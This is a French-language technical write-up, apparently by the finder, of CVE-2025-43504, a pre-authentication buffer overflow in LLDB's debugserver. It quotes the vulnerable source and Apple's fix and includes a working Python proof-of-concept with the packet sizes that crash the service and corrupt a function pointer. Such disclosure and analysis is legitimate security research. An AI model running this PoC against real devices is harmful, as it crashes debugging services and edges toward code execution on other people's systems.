
Analyse technique approfondie de CVE-2025-43504, un débordement de tampon global à distance pré-authentification dans debugserver de LLDB pour iOS, avec code PoC et analyse d'exploitation.
En grandissant, j'adorais fouiller dans les bacs à DVD de mon Walmart local. J'ai remarqué que beaucoup des mêmes films restaient sur le dessus, mais si l'on creusait un peu, on trouvait des titres plus intéressants et plus pointus.
Quand un programme fait déborder un tampon, on plonge en quelque sorte la main dans son bac à soldes. Selon jusqu'où l'on va, les DVD — ou, dans ce cas précis, les structures écrasées en mémoire — peuvent changer.
Le /bin du jour est CVE-2025-43504 : un débordement de tampon global à distance avant authentification que j'ai trouvé dans debugserver de LLDB.
Pendant le développement d'applications, les développeurs ont souvent besoin de déboguer leur application sur un appareil iOS physique. Pour ce faire, Xcode monte une image disque de développement sur l'iPhone cible, puis s'y apparie.
Une fois l'appairage effectué, l'hôte macOS peut communiquer avec le client iOS à l'aide du debugserver installé sur le client. Dès lors, tout client capable d'établir une session GDB-remote avec le de l'appareil peut atteindre le gestionnaire et faire déborder le tampon vulnérable.
debugserverqSpeedTestExaminons la page des notes de sécurité de Xcode 26.1 pour mieux comprendre comment Apple a catégorisé CVE-2025-43504 :

En raison des mitigations logicielles modernes, Apple considère les débordements de tampon comme relevant principalement d'un problème de déni de service plutôt que d'une primitive de corruption. Comme nous allons l'explorer aujourd'hui, c'est généralement vrai : un attaquant devra surmonter plusieurs obstacles et probablement associer ce problème à un autre bug pour parvenir à une exécution de code arbitraire.
Si vous souhaitez expérimenter avec une version non corrigée de debugserver, utilisez le commit suivant ou tout commit antérieur à ac8e7be5fbd11f731ffc81bf3bbae50a5a4d83de :
git clone https://github.com/llvm/llvm-project.git
cd llvm-project
git checkout 37cd595c1ccb1fd84ebdfeb0d959744a4d13726c
Avant le correctif dans RNBRemote.cpp, tout utilisateur distant capable de se connecter au debugserver d'un appareil iOS pouvait envoyer un paquet qSpeedTest avant authentification à RNBRemote::HandlePacket_qSpeedTest et corrompre les structures adjacentes dans le segment de données global de debugserver.
Cependant, il y a une réserve importante : nous ne contrôlons que la longueur de la corruption. Le contenu de la charge utile est fixé à un flux de caractères 'a'. Si les étudiants apprécient les notes constamment élevées, l'utilité pratique de ce débordement est grandement limitée par le fait que nous ne pouvons pas contrôler les octets réellement écrits — seulement jusqu'où s'étend le déluge de 'a'.
Maintenant, regardons sous le capot de RNBRemote::HandlePacket_qSpeedTest pour voir exactement ce qui se passe :
rnb_err_t RNBRemote::HandlePacket_qSpeedTest(const char *p) {
p += strlen("qSpeedTest:response_size:");
char *end = NULL;
errno = 0;
// We control the length of response_size
uint64_t response_size = ::strtoul(p, &end, 16);
if (errno != 0)
return HandlePacket_ILLFORMED(
__FILE__, __LINE__, p,
"Didn't find response_size value at right offset");
else if (*end == ';') {
static char g_data[4 * 1024 * 1024 + 16];
strcpy(g_data, "data:");
// The overflow of g_data by a's occurs here
memset(g_data + 5, 'a', response_size);
g_data[response_size + 5] = '\0';
return SendPacket(g_data);
} else {
return SendErrorPacket("E79");
}
}
Le rôle de RNBRemote::HandlePacket_qSpeedTest() est de traiter les paquets entrants qSpeedTest:response_size:<hex>; sans exiger d'authentification de la part d'un utilisateur distant capable de communiquer avec le binaire debugserver de l'appareil iOS.
Cependant, dès qu'un utilisateur distant est en mesure d'envoyer un paquet qSpeedTest:response_size:<hex>; à debugserver, aucune vérification d'authentification n'est effectuée dans debugserver avant le traitement du response_size fourni par l'utilisateur. Par conséquent, tout utilisateur capable de communiquer avec un appareil iOS sur lequel est montée une image disque de développement peut faire déborder debugserver via un paquet qSpeedTest:response_size:<hex>;.
Maintenant que nous avons atteint la fonction vulnérable RNBRemote::HandlePacket_qSpeedTest(), examinons exactement comment le débordement se produit. Tout d'abord, la taille <hex> fournie par l'utilisateur dans le paquet qSpeedTest:response_size:<hex>; est extraite et stockée dans la variable response_size :
p += strlen("qSpeedTest:response_size:");
char *end = NULL;
errno = 0;
uint64_t response_size = ::strtoul(p, &end, 16);
Si l'analyse réussit et que le caractère suivant est un point-virgule, un tampon statique local à la fonction de 4 Mio + 16 octets g_data est initialisé et amorcé avec l'en-tête ASCII "data:" :
if (errno != 0)
return HandlePacket_ILLFORMED(__FILE__, __LINE__, p,
"Didn't find response_size value at right offset");
else if (*end == ';') {
static char g_data[4 * 1024 * 1024 + 16];
strcpy(g_data, "data:");
En assemblant le tout, memset remplit ensuite le tampon statique de 4 Mio + 16 octets g_data avec des 'a', en utilisant la valeur response_size contrôlée par l'utilisateur comme nombre de 'a' à écrire.
// The overflow of g_data by 'a's occurs here
memset(g_data + 5, 'a', response_size);
g_data[response_size + 5] = '\0';
Par conséquent, chaque fois qu'un client LLDB distant envoie un paquet qSpeedTest:response_size:<hex>; avec un response_size supérieur à la taille du tampon de 4 Mio + 16 octets, un débordement de tampon se produit et corrompt les variables globales adjacentes stockées dans le segment de données global (.bss) de debugserver.
Maintenant que nous comprenons l'architecture derrière le débordement, plongeons dans les mécanismes réels de la vulnérabilité. Pour commencer, utilisons le programme Python suivant pour explorer les primitives de corruption obtenues grâce au débordement de g_data :
import argparse, socket
def frame(payload: bytes) -> bytes:
return b"$" + payload + (b"#%02x" % (sum(payload) & 0xFF))
def send_one(host: str, port: int, resp_hex: str):
payload = b"qSpeedTest:response_size:" + resp_hex.encode("ascii") + b";"
pkt = frame(payload)
s = socket.create_connection((host, port), timeout=5.0)
s.settimeout(1.5)
try:
# send the oversized qSpeedTest
s.sendall(pkt)
try:
_ = s.recv(1) # ACK (best effort)
except Exception:
pass
# Optional tiny nudge to exercise pointer use
try:
s.sendall(frame(b"?"))
_ = s.recv(1)
except Exception:
pass
finally:
try: s.close()
except Exception: pass
def main():
ap = argparse.ArgumentParser(description="Send a single qSpeedTest packet with chosen response_size")
ap.add_argument("--host", default="127.0.0.1")
ap.add_argument("--port", type=int, default=1234)
ap.add_argument("--size", required=True,
help="Hex string for response_size (no 0x prefix), e.g. 40100a or 500000")
args = ap.parse_args()
print(f"[i] Sending qSpeedTest:response_size:0x{args.size} to {args.host}:{args.port}")
send_one(args.host, args.port, args.size)
print("[i] Done. If debugserver crashed, check the log for SIGSEGV/SIGBUS and fault address.")
if __name__ == "__main__":
main()
Après avoir lancé debugserver, nous exécutons la commande python3 suivante et fournissons le response_size de 4004AB :
python3 poc.py --host 127.0.0.1 --port 1234 --size 4004AB
Nous remarquons que debugserver ne plante pas et répond normalement :

Bien que nous soyons techniquement hors limites, g_data se termine par un octet \0, de sorte que le pointeur de fonction de journalisation voisin g_log_callback n'est écrasé que par un octet NULL, ce qui maintient le pointeur entièrement à NULL.
Après avoir lancé debugserver, nous exécutons la commande python3 suivante et fournissons le response_size de 0x4004AC :
python3 poc.py --host 127.0.0.1 --port 1234 --size 0x4004AC
Grand Scott !

En fournissant un octet supplémentaire, nous avons poussé au-delà de la terminaison NULL et fini par déréférencer le pointeur voisin g_log_callback avec une valeur de 0x61, provoquant un crash. Maintenant, incrémentons en continu notre paramètre --size d'une unité et voyons ce qui se passe :

Comme nous pouvons le voir, nous contrôlons désormais la valeur de g_log_callback. Enfin, partiellement — nous ne contrôlons en réalité que le nombre d'octets de g_log_callback qui seront égaux à 0x61.
On peut voir cela se produire dans _DNBLogVAPrintf :
static inline void _DNBLogVAPrintf(uint32_t flags, const char *format,
va_list args) {
static std::recursive_mutex g_LogThreadedMutex;
std::lock_guard<std::recursive_mutex> guard(g_LogThreadedMutex);
if (g_log_callback)
g_log_callback(g_log_baton, flags, format, args);
}
Puisque g_log_callback n'est pas NULL, le mutex est verrouillé puis notre pointeur corrompu est appelé, ce qui provoque le crash. Ensuite, à partir d'un response_size de 0x4004B3, nous cessons de voir tout changement réel dans l'adresse du crash ou la trace de pile correspondante, jusqu'à ce qu'un décalage de 0x7F soit ajouté au response_size. Logiquement, cela a du sens : une fois le pointeur g_log_callback corrompu, toute corruption ultérieure dans d'autres structures de journalisation devient sans importance en raison du crash initial provoqué par le déréférencement de g_log_callback.
Fait intéressant, sur une version de production de macOS antérieure au correctif, j'ai pu utiliser ce contrôle partiel du pointeur pour écraser divers pointeurs d'espace utilisateur en mémoire :
0x0000000105006169
0x0000000103006169
0x0000000a0a006169
0x00000009d8006169
0x0000000103006169
0x0000000734006169
0x0000000100006169
Pour une raison quelconque, l'octet final de chaque adresse était toujours incrémenté de 0x8 octets. Cependant, si nous parvenions à résoudre le problème d'alignement créé par les octets terminaux 0x6169, et si nous étions en mesure de prédire et de contrôler les données déréférencées par le pointeur écrasé, nous pourrions théoriquement rediriger le flux de contrôle et éventuellement obtenir une exécution de code.
Nous avons brièvement évoqué le verrouillage du mutex avant de déréférencer le pointeur g_log_callback corrompu. Maintenant, au response_size de 0x40052C, le mutex lui-même devient corrompu :

Nous remarquons que le problème est apparu lorsque _DNBLogVAPrintf a exécuté la construction de lock_guard :
std::lock_guard<std::recursive_mutex> guard(g_LogThreadedMutex);
D'après la trace de pile, nous voyons que lock_guard génère une faute lorsque __m_.lock est appelé :
31│ _LIBCPP_HIDE_FROM_ABI explicit lock_guard(mutex_type& __m) _LIBCPP_THREAD_SAFETY_ANNOTATION(acquire_capability(__m))
32│ : __m_(__m) {
33│ __m_.lock();
│ ▲
34│ }
35│
En examinant plus en détail, regardons la définition de la fonction std::recursive_mutex :
void recursive_mutex::lock() {
int ec = __libcpp_recursive_mutex_lock(&__m_);
if (ec)
std::__throw_system_error(ec, "recursive_mutex lock failed");
}
Il semble s'agir d'un wrapper pour __libcpp_recursive_mutex_lock :
inline _LIBCPP_HIDE_FROM_ABI _LIBCPP_NO_THREAD_SAFETY_ANALYSIS int
__libcpp_recursive_mutex_lock(__libcpp_recursive_mutex_t* __m) {
return pthread_mutex_lock(__m);
}
Qui, à son tour, semble être un wrapper pour pthread_mutex_lock :
PTHREAD_NOEXPORT_VARIANT
int
pthread_mutex_lock(pthread_mutex_t *mutex)
{
return _pthread_mutex_lock(mutex, false);
}
Qui est un autre wrapper pour _pthread_mutex_lock)... Mais nous n'avons pas besoin d'aller aussi loin.
Parce que le pointeur pthread_mutex_t est corrompu par notre débordement, pthread_mutex_lock lève std::system_error("recursive_mutex lock failed") puis le programme lève un abort() et se termine.
En raison du abort() du programme, l'exploitation du response_size entre 0x40052C et 0x402C62 est nettement plus difficile, puisque nous corrompons une primitive de synchronisation, compte tenu des vérifications supplémentaires effectuées par macOS.
Maintenant, lorsque nous utilisons un response_size de 0x402C63 ou plus, le CPU lève une faute dans RNBRemote::HandlePacket_qSpeedTest dès que memset franchit la limite pour atteindre la page de garde ou la région non mappée que le noyau a placée après le segment .bss en mémoire :

Cette dernière variante de débordement n'est pas aussi intéressante, car il n'existe aucun moyen direct de contrôler l'exécution du programme.
Maintenant que nous avons couvert le problème lui-même, examinons comment Apple l'a corrigé :

D'après la description du correctif :
Modifier cette allocation pour qu'elle soit sur le tas, et imposer une taille maximale pouvant être testée (4 Mo, pour l'instant).
Nous constatons deux changements majeurs :
.bss) de debugserverCompte tenu du vaste écosystème à source fermée qui se cache derrière les logiciels et systèmes d'Apple, c'est toujours un défi que de découvrir et de comprendre de manière fiable les défauts logiciels.
Cependant, il existe toujours des dépendances open-source sur lesquelles Apple s'appuie, et si vous pouvez trouver un problème dans l'une d'elles, il y a de fortes chances que des effets se fassent sentir en aval.
Bonne chasse et assurez-vous de divulguer responsablement tout problème que vous pourriez trouver 😉